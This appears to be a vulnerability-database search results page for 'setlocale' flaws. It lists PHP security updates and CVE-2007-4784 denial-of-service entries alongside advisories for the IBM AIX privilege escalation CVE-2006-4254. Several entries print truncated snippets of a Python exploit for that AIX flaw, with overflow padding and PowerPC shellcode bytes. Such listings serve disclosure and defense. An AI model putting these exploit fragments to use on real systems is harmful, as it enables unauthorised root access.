50 matches found
openSUSE 10 Security Update : apache2-mod_php5 (apache2-mod_php5-4810)
This update fixes multiple bugs in php : - use system pcre library to fix several pcre vulnerabilities CVE-2007-1659, CVE-2006-7230, CVE-2007-1660, CVE-2006-7227 CVE-2005-4872, CVE-2006-7228 - Flaws in processing multi byte sequences in htmlentities/htmlspecialchars CVE-2007-5898 - overly long...
FreeBSD : php -- multiple security vulnerabilities (392b5b1d-9471-11dc-9db7-001c2514716c)
PHP project reports : Security Enhancements and Fixes in PHP 5.2.5 : - Fixed dl to only accept filenames. Reported by Laurent Gaffie. - Fixed dl to limit argument size to MAXPATHLEN CVE-2007-4887. Reported by Laurent Gaffie. - Fixed htmlentities/htmlspecialchars not to accept partial multibyte...
IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit
No description provided by source. setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccddddx2fxf2x28x2f" egg="x60"2350 shellcode= by intropy at caughq.org "x7cxa5x2ax79" xor. r5,r5,r5 "x40x82xffxfd" bnel shellcode "x7fxe8x02xa6" mflr r31...
IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit
Exploit for aix platform in category local exploits =============================================================== IBM AIX caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal r31,0x120r31 "\x38\x7f\xff\x08" cal r3,-248r31...
setlocate-local.txt
setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...
IBM AIX 5.3.0 - setlocale() Local Privilege Escalation
IBM AIX 5.3.0 - setlocale Local Privilege Escalation setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel...
IBM AIX 5.3.0 - 'setlocale()' Local Privilege Escalation
setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...
PHP: Multiple vulnerabilities
Background PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Description Several vulnerabilities were found in PHP. Mattias Bengtsson and Philip Olausson reported integer overflows in the gdImageCreate and...
CVE-2007-4784
The setlocale function in PHP before 5.2.4 allows context-dependent attackers to cause a denial of service application crash via a long string in the locale parameter. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless this issue can be...
CVE-2007-4784
The setlocale function in PHP before 5.2.4 allows context-dependent attackers to cause a denial of service application crash via a long string in the locale parameter. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless this issue can be...
Design/Logic Flaw
The setlocale function in PHP before 5.2.4 allows context-dependent attackers to cause a denial of service application crash via a long string in the locale parameter. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless this issue can be...
CVE-2007-4784
The setlocale function in PHP before 5.2.4 allows context-dependent attackers to cause a denial of service application crash via a long string in the locale parameter. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless this issue can be...
CVE-2007-4784
The CVE-2007-4784 issue affects PHP prior to 5.2.4, where setlocale with a very long locale string can trigger a denial of service (application crash). The description notes that this is a context-dependent DoS and may not be exploitable to code execution in multi-threaded web server environments...
PHP multiple DoS conditions
Crash on oversized strings in fnmatch, iconvsubstr, glob and setlocale functions...
PHP < 5.2.4 setlocale() denial of service
Application: PHP 5.2.4 Web Site: http://php.net Platform: unix Bug: denial of service fonction: setlocale special condition: default php-memory-limit ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Greets 5 Credits =========== 1 Introduction...
IBM AIX Setlocale本地特权提升漏洞
IBM AIX是一款商业性质的操作系统。 IBM AIX Setlocale函数存在未明问题，本地攻击者可以利用漏洞提升特权。 IBM AIX 5.3 IBM AIX 5.2 IBM AIX 5.1 IBM AIX 5.1 IBM setlocaleifix.tar.Z ftp://aix.software.ibm.com/aix/efixes/security/setlocaleifix.tar.Z IBM AIX 5.2 IBM setlocaleifix.tar.Z...
IBM AIX setlocale调用本地权限提升漏洞
IBM AIX是一款商业性质的UNIX操作系统。 AIX的libc.a文件中的setlocale调用实现上存在漏洞，本地攻击者可以利用其中的漏洞实现权限的提升 IBM AIX 5.3 IBM AIX 5.2 IBM AIX 5.1 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： ftp://aix.software.ibm.com/aix/efixes/security/setlocaleifix.tar.Z...
CVE-2006-4254
Unspecified vulnerability in setlocale in IBM AIX 5.1.0 through 5.3.0 allows local users to gain privileges via unspecified vectors...
CVE-2006-4254
CVE-2006-4254 affects IBM AIX 5.1.0 through 5.3.0 via the setlocale() function, enabling local privilege escalation. Connected sources provide concrete exploit code and disclosure of local-privilege pathways (e.g., userland exploitation using crafted inputs and shellcode). Public writeups show at...